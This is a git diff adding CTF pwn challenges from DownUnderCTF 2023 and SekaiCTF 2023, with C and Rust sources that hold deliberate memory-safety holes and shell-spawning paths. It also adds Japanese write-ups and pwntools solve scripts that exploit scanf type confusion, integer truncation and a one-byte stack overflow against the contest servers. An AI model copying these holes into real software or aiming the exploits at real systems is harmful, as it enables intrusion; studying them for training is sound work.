diff --git a/pwn/.DS_Store b/pwn/.DS_Store new file mode 100644 index 0000000..36114b9 Binary files /dev/null and b/pwn/.DS_Store differ diff --git a/pwn/DownUnderCTF2023/confusing/.DS_Store b/pwn/DownUnderCTF2023/confusing/.DS_Store new file mode 100644 index 0000000..8028515 Binary files /dev/null and b/pwn/DownUnderCTF2023/confusing/.DS_Store differ diff --git a/pwn/DownUnderCTF2023/confusing/dist/confusing b/pwn/DownUnderCTF2023/confusing/dist/confusing new file mode 100755 index 0000000..f8ff155 Binary files /dev/null and b/pwn/DownUnderCTF2023/confusing/dist/confusing differ diff --git a/pwn/DownUnderCTF2023/confusing/dist/confusing.c b/pwn/DownUnderCTF2023/confusing/dist/confusing.c new file mode 100644 index 0000000..b698fc5 --- /dev/null +++ b/pwn/DownUnderCTF2023/confusing/dist/confusing.c @@ -0,0 +1,34 @@ +#include +#include +#include + +void init() { + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); +} + +int main() { + init(); + + short d; + double f; + char s[4]; + int z; + + printf("Give me d: "); + scanf("%lf", &d); + + printf("Give me s: "); + scanf("%d", &s); + + printf("Give me f: "); + scanf("%8s", &f); + + printf("%hd %lf %4s %d\n", d, f, s, z); + + if(z == -1 && d == 13337 && f == 1.6180339887 && strncmp(s, "FLAG", 4) == 0) { + system("/bin/sh"); + } else { + puts("Still confused?"); + } +} diff --git a/pwn/DownUnderCTF2023/confusing/solve/solve.md b/pwn/DownUnderCTF2023/confusing/solve/solve.md new file mode 100644 index 0000000..7cf28f4 --- /dev/null +++ b/pwn/DownUnderCTF2023/confusing/solve/solve.md @@ -0,0 +1,6 @@ +scanfのフォーマット指定子がぐちゃぐちゃになっているという問題. +しかし,引数のポインタから該当のフォーマット指定子のバイト分だけ書き込まれるので,それに注意して適切な入力を与えれば良い. + +また,z = -1にする必要があるにも関わらず,zに対する入力はない. +しかし,バイナリを解析した以下の結果などを見ると,dに連続した次の領域にzの領域があることがわかる. +また,dはshortゆえ2バイト,zはintゆえ4バイトであり,dの入力に対するフォーマット指定子は"%lf", つまり8ビットであるため,zについてもここで-1に書き換えることが可能である. diff --git a/pwn/DownUnderCTF2023/confusing/solve/solve.py b/pwn/DownUnderCTF2023/confusing/solve/solve.py new file mode 100644 index 0000000..392bf3b --- /dev/null +++ b/pwn/DownUnderCTF2023/confusing/solve/solve.py @@ -0,0 +1,14 @@ +from pwn import * + +elf = ELF('../dist/confusing') +host = '2023.ductf.dev' +port = 30024 +io = remote(host, port) +#io = process(elf.path) +#context.binary = elf + +io.sendlineafter(b'Give me d: ', str(struct.unpack('d', p16(13337) + b'\xff\xff\xff\xff\xff\xfe')[0]).encode()) +io.sendlineafter(b"Give me s: ", str(u32(b'FLAG')).encode()) +io.sendlineafter(b"Give me f: ", struct.pack('d', 1.6180339887)) + +io.interactive() diff --git a/pwn/DownUnderCTF2023/downunderflow/dist/downunderflow b/pwn/DownUnderCTF2023/downunderflow/dist/downunderflow new file mode 100644 index 0000000..8d6f4df Binary files /dev/null and b/pwn/DownUnderCTF2023/downunderflow/dist/downunderflow differ diff --git a/pwn/DownUnderCTF2023/downunderflow/dist/downunderflow.c b/pwn/DownUnderCTF2023/downunderflow/dist/downunderflow.c new file mode 100644 index 0000000..e6438af --- /dev/null +++ b/pwn/DownUnderCTF2023/downunderflow/dist/downunderflow.c @@ -0,0 +1,36 @@ +#include +#include +#include + +#define USERNAME_LEN 6 +#define NUM_USERS 8 +char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" }; + +void init() { + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); +} + +int read_int_lower_than(int bound) { + int x; + scanf("%d", &x); + if(x >= bound) { + puts("Invalid input!"); + exit(1); + } + return x; +} + +int main() { + init(); + + printf("Select user to log in as: "); + unsigned short idx = read_int_lower_than(NUM_USERS - 1); + printf("Logging in as %s\n", logins[idx]); + if(strncmp(logins[idx], "admin", 5) == 0) { + puts("Welcome admin."); + system("/bin/sh"); + } else { + system("/bin/date"); + } +} diff --git a/pwn/DownUnderCTF2023/downunderflow/solve/writeup.md b/pwn/DownUnderCTF2023/downunderflow/solve/writeup.md new file mode 100644 index 0000000..2ac1fb2 --- /dev/null +++ b/pwn/DownUnderCTF2023/downunderflow/solve/writeup.md @@ -0,0 +1,13 @@ +logins配列に対して,入力されたインデックスの値が"admin"となるようにする問題. +つまり,main関数内の変数indexが7となれば良い. + +そこで,入力を受け付けいているread_int_lower_than関数に注目する. +しかし,ここではNUM_USERS-1 = 7以上の値が入力されると,プログラム終了してしまう. + +``` +unsigned short idx = read_int_lower_than(NUM_USERS - 1); +``` +そこで以上の箇所に注目すると,関数read_int_lower_thanの返り値の型がintである一方,関数main内で定義されている変数idxの型はunsigned shortであることがわかる. +つまり,idxは0から65535の範囲であり,mod 65536を取った値に変換される. + +そこで,7未満であり,かつ65536でmodを取ると7になる数字を入力すれは良い.(-65529など) \ No newline at end of file diff --git a/pwn/DownUnderCTF2023/onebyte/dist/onebyte b/pwn/DownUnderCTF2023/onebyte/dist/onebyte new file mode 100755 index 0000000..6d2bac0 Binary files /dev/null and b/pwn/DownUnderCTF2023/onebyte/dist/onebyte differ diff --git a/pwn/DownUnderCTF2023/onebyte/dist/onebyte.c b/pwn/DownUnderCTF2023/onebyte/dist/onebyte.c new file mode 100644 index 0000000..7c03882 --- /dev/null +++ b/pwn/DownUnderCTF2023/onebyte/dist/onebyte.c @@ -0,0 +1,23 @@ +#include +#include +#include + + +void init() { + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); +} + +void win() { + system("/bin/sh"); +} + +int main() { + init(); + + printf("Free junk: 0x%lx\n", init); + printf("Your turn: "); + + char buf[0x10]; + read(0, buf, 0x11); +} diff --git a/pwn/DownUnderCTF2023/onebyte/solve/solve.md b/pwn/DownUnderCTF2023/onebyte/solve/solve.md new file mode 100644 index 0000000..5c2e2bc --- /dev/null +++ b/pwn/DownUnderCTF2023/onebyte/solve/solve.md @@ -0,0 +1,74 @@ +まず配布ファイルについて確認する. +``` +Arch: i386-32-little +RELRO: Partial RELRO +Stack: No canary found +NX: NX enabled +PIE: PIE enabled +``` +checksecの結果より,本バイナリは32ビットであり,canaryは無効であるが,PIEが有効であることが確認できる.加えてASLRも有効になっています. + +また,ソースコードをみたり,バイナリを実行すると以下の点に気づく. +- initのアドレスがリークされている +- read関数において,bufのサイズより1バイト分だけ多く読み込んでいる +- win関数に飛ばせばシェルを取れる + +1バイトのオーバーフローしただけでは,リターンアドレスを書き換えられないどころか,ebpの書き換えすらできない.しかし,問題文からもわかるように,ここが問題のポイントであり,何ができるかを考える. + +まずはオーバーフローしている1バイトはどこのアドレスになるのかを調べてみる. +そこで,逆アセンブリをしてmain関数の先頭をみて,bufの含まれるスタックの様子を確認する. +``` +0000122e
: + 122e: 8d 4c 24 04 lea 0x4(%esp),%ecx + 1232: 83 e4 f0 and $0xfffffff0,%esp + 1235: ff 71 fc pushl -0x4(%ecx) + 1238: 55 push %ebp + 1239: 89 e5 mov %esp,%ebp + 123b: 53 push %ebx + 123c: 51 push %ecx + 123d: 83 ec 10 sub $0x10,%esp + 1240: e8 7b fe ff ff call 10c0 <__x86.get_pc_thunk.bx> +``` +上は,main関数の先頭のアセンブリである. +普通ならebpをスタックに詰んだり,espを使用する領域分だけ引けば十分のはずだが,ebxやecxもスタックに積んでいる. + +一方,main関数の末尾にも注目してみる. +``` +128b: 83 c4 10 add $0x10,%esp +128e: b8 00 00 00 00 mov $0x0,%eax +1293: 8d 65 f8 lea -0x8(%ebp),%esp +1296: 59 pop %ecx +1297: 5b pop %ebx +1298: 5d pop %ebp +1299: 8d 61 fc lea -0x4(%ecx),%esp +129c: c3 ret +``` +ここから,ret命令でのジャンプ先のアドレスが +``` +%esp = %ecx - 0x4 +``` +の先示すメモリの内容である. +なんだか,%ecxが関係ありそうな雰囲気がわかります. + +ここで一度スタックの中身を整理してみます. + +| アドレス | 中身 | +| ---- | ----| +| ebp - 0x4 | ecx - 0x4 | +| ebp - 0x8 | ebp | +| ebp - 0xc | ebx | +| ebp - 0x10 | ecx | +| ebp - 0x20 | buf | + +つまり,オーバーフローした1バイトはecxの下位ビットであることがわかります.(リトルエンディアンなので) + +ということで,以上を整理すると以上のことがわかります. +- ecx-0x4の指し示す内容のアドレスにリターンする +- ecxの末尾1ビットのみを書き換えることができる. +- ecxの部分には元々esp-0x4が積まれている(アセンブリ0x122eより) +- initのアドレスリークからwinのアドレスは求めることができる + +ということでbufにwinのアドレスを書いておき,ecxを書き換え該当のアドレスを参照させ,winに処理を飛ばすことで攻撃が成功しそうです. + +ここで最後に1つ問題があります.それは,ASLRによりecx-0x4が指し示すべきスタックのアドレスが毎回変化してしまい,わからないということです. +ここについては,書き換える1バイトの値を固定しておき,うまくそのアドレスと合致するまで実行すれば良いでしょう.ただし,アライメントを考えて4の倍数の値で固定することに注意です. diff --git a/pwn/DownUnderCTF2023/onebyte/solve/solve.py b/pwn/DownUnderCTF2023/onebyte/solve/solve.py new file mode 100644 index 0000000..601c26b --- /dev/null +++ b/pwn/DownUnderCTF2023/onebyte/solve/solve.py @@ -0,0 +1,38 @@ +from pwn import * + +elf = ELF('../dist/onebyte') +host = '2023.ductf.dev' +port = 30018 + +context.binary = elf + +# initとwinのアドレスの差分 +diff = 0x1203 - 0x11bd + +while True: + io = remote(host, port) + #io = process(elf.path) + + # initのアドレスを取得 + io.recvuntil(b'Free junk: ') + init_addr = int(io.recvline().strip(), 16) + win_addr = init_addr + diff + + # bufの分の内容 + paylaod = p32(win_addr) * 4 + # オーバーフローの1バイト分 + paylaod += b'\x20' + + io.sendafter(b'Your turn: ', paylaod) + + try: + io.sendline(b'cat flag.txt') + flag = io.recvline() + if b'DUCTF' in flag: + print(flag) + io.interactive() + break + except: + io.close() + + diff --git a/pwn/seccon_beginners_2023/.DS_Store b/pwn/seccon_beginners_2023/.DS_Store new file mode 100644 index 0000000..e343a3f Binary files /dev/null and b/pwn/seccon_beginners_2023/.DS_Store differ diff --git a/pwn/seccon_beginners_2023/Elementary_ROP/.DS_Store b/pwn/seccon_beginners_2023/Elementary_ROP/.DS_Store new file mode 100644 index 0000000..1bbae49 Binary files /dev/null and b/pwn/seccon_beginners_2023/Elementary_ROP/.DS_Store differ diff --git a/pwn/seccon_beginners_2023/Elementary_ROP/README.md b/pwn/seccon_beginners_2023/Elementary_ROP/README.md new file mode 100644 index 0000000..133edd4 --- /dev/null +++ b/pwn/seccon_beginners_2023/Elementary_ROP/README.md @@ -0,0 +1,9 @@ +# Elementary\_ROP +> スタックやレジスタの状態を想像しながらやってみよう +> +> nc elementary-rop.beginners.seccon.games 9003 +> +> Elementary\_ROP.tar.gz d92bf2deec1cc25264ef3701aed66093ee052476 + +# Solution +[Writeup](./solve/writeup.md) diff --git a/pwn/seccon_beginners_2023/Elementary_ROP/given_file/Elementary_ROP.tar.gz b/pwn/seccon_beginners_2023/Elementary_ROP/given_file/Elementary_ROP.tar.gz new file mode 100644 index 0000000..89716e5 Binary files /dev/null and b/pwn/seccon_beginners_2023/Elementary_ROP/given_file/Elementary_ROP.tar.gz differ diff --git a/pwn/seccon_beginners_2023/poem/solve/.DS_Store b/pwn/seccon_beginners_2023/poem/solve/.DS_Store index d75296e..8c60c8d 100644 Binary files a/pwn/seccon_beginners_2023/poem/solve/.DS_Store and b/pwn/seccon_beginners_2023/poem/solve/.DS_Store differ diff --git a/pwn/sekai_ctf2023/.DS_Store b/pwn/sekai_ctf2023/.DS_Store new file mode 100644 index 0000000..d443743 Binary files /dev/null and b/pwn/sekai_ctf2023/.DS_Store differ diff --git a/pwn/sekai_ctf2023/Network Tools/.DS_Store b/pwn/sekai_ctf2023/Network Tools/.DS_Store new file mode 100644 index 0000000..f517336 Binary files /dev/null and b/pwn/sekai_ctf2023/Network Tools/.DS_Store differ diff --git a/pwn/sekai_ctf2023/Network Tools/dist/main.rs b/pwn/sekai_ctf2023/Network Tools/dist/main.rs new file mode 100644 index 0000000..02486a8 --- /dev/null +++ b/pwn/sekai_ctf2023/Network Tools/dist/main.rs @@ -0,0 +1,149 @@ +use std::io::{self, Write, Read}; +use dns_lookup::{lookup_host, lookup_addr}; +use std::net::Ipv4Addr; +use std::process::Command; +use std::str; +use std::string::String; + +static mut CHOICE: i32 = 0; + +fn read(arr: &mut[u8], size: isize) -> isize{ + let arr_ptr = &mut arr[0] as *mut u8; + let mut count = 0; + unsafe{ + let mut input: [u8;1] = [0;1]; + for i in 0..size { + io::stdin().read_exact(&mut input).expect("msg"); + if input[0] == 0xa { + break; + } + *arr_ptr.offset(i) = input[0]; + } + + while *arr_ptr.offset(count) != 0{ + count+=1; + } + } + count +} + +fn menu(){ + println!("1. ping"); + println!("2. traceroute"); + println!("3. IP lookup"); + println!("4. Reverse IP lookup"); + println!("5. Exit"); + print!("> "); + io::stdout().flush().unwrap(); +} + +fn ping(){ + let mut input: String = String::new(); + print!("IPv4: "); + io::stdout().flush().unwrap(); + io::stdin().read_line(&mut input).expect("Failed to read IP"); + match input.trim().parse::() { + Ok(ip) => { + let cmd = format!("ping {} -w 4", ip.to_string()); + let process = Command::new("/bin/sh") + .arg("-c") + .arg(cmd) + .output() + .expect("Failed"); + println!("{}", String::from_utf8_lossy(&process.stdout)); + } + _ => { + println!("Invalid IPv4 format!"); + return; + }, + }; +} + +fn traceroute(){ + let mut input: String = String::new(); + print!("IPv4: "); + io::stdout().flush().unwrap(); + io::stdin().read_line(&mut input).expect("Failed to read IP"); + match input.trim().parse::() { + Ok(ip) => { + let cmd = format!("traceroute {}", ip.to_string()); + let process = Command::new("/bin/sh") + .arg("-c") + .arg(cmd) + .output() + .expect("Failed"); + println!("{}", String::from_utf8_lossy(&process.stdout)); + } + _ => { + println!("Invalid IPv4 format!"); + return; + }, + }; +} + +fn ip_lookup(){ // 4757 + let mut input: [u8; 400] = [0; 400]; + + print!("Hostname: "); + io::stdout().flush().unwrap(); + let size = read(&mut input, 0x400); + let (hostname, _) = input.split_at(size as usize); + let hostname = str::from_utf8(hostname).expect("msg").to_string(); + println!("{:?}", hostname.trim()); + match lookup_host(hostname.trim()) { + Ok(ip) => println!("{:?}", ip), + _ => println!("Invalid domain name!") + } +} + +fn reverse_ip_lookup(){ + let mut ip_str: String = String::new(); + + print!("IP: "); + io::stdout().flush().unwrap(); + io::stdin().read_line(&mut ip_str).expect("Failed to read IP"); + + match ip_str.trim().parse::() { + Ok(ip) => { + match lookup_addr(&ip) { + Ok(hostname) => println!("{}", hostname), + _ => println!("Invalid IP!") + } + }, + _ => { + println!("Invalid IP format!"); + return; + } + } +} + +fn main(){ + unsafe { + let mut input = String::new(); + + println!("**************************"); + println!("* *"); + println!("* Network Tools *"); + println!("* *"); + println!("**************************"); + println!("Opss! Something is leaked: {:p}", &CHOICE); + loop { + menu(); + + input.clear(); + io::stdin().read_line(&mut input).expect("Failed to readline!"); + CHOICE = match input.trim().parse() { + Ok(num) => num, + _ => 0 + }; + match CHOICE { + 1 => ping(), + 2 => traceroute(), + 3 => ip_lookup(), + 4 => reverse_ip_lookup(), + 5 => break, + _ => println!("Invalid choice!") + } + } + } +} \ No newline at end of file diff --git a/pwn/sekai_ctf2023/Network Tools/dist/nettools b/pwn/sekai_ctf2023/Network Tools/dist/nettools new file mode 100755 index 0000000..4d23a46 Binary files /dev/null and b/pwn/sekai_ctf2023/Network Tools/dist/nettools differ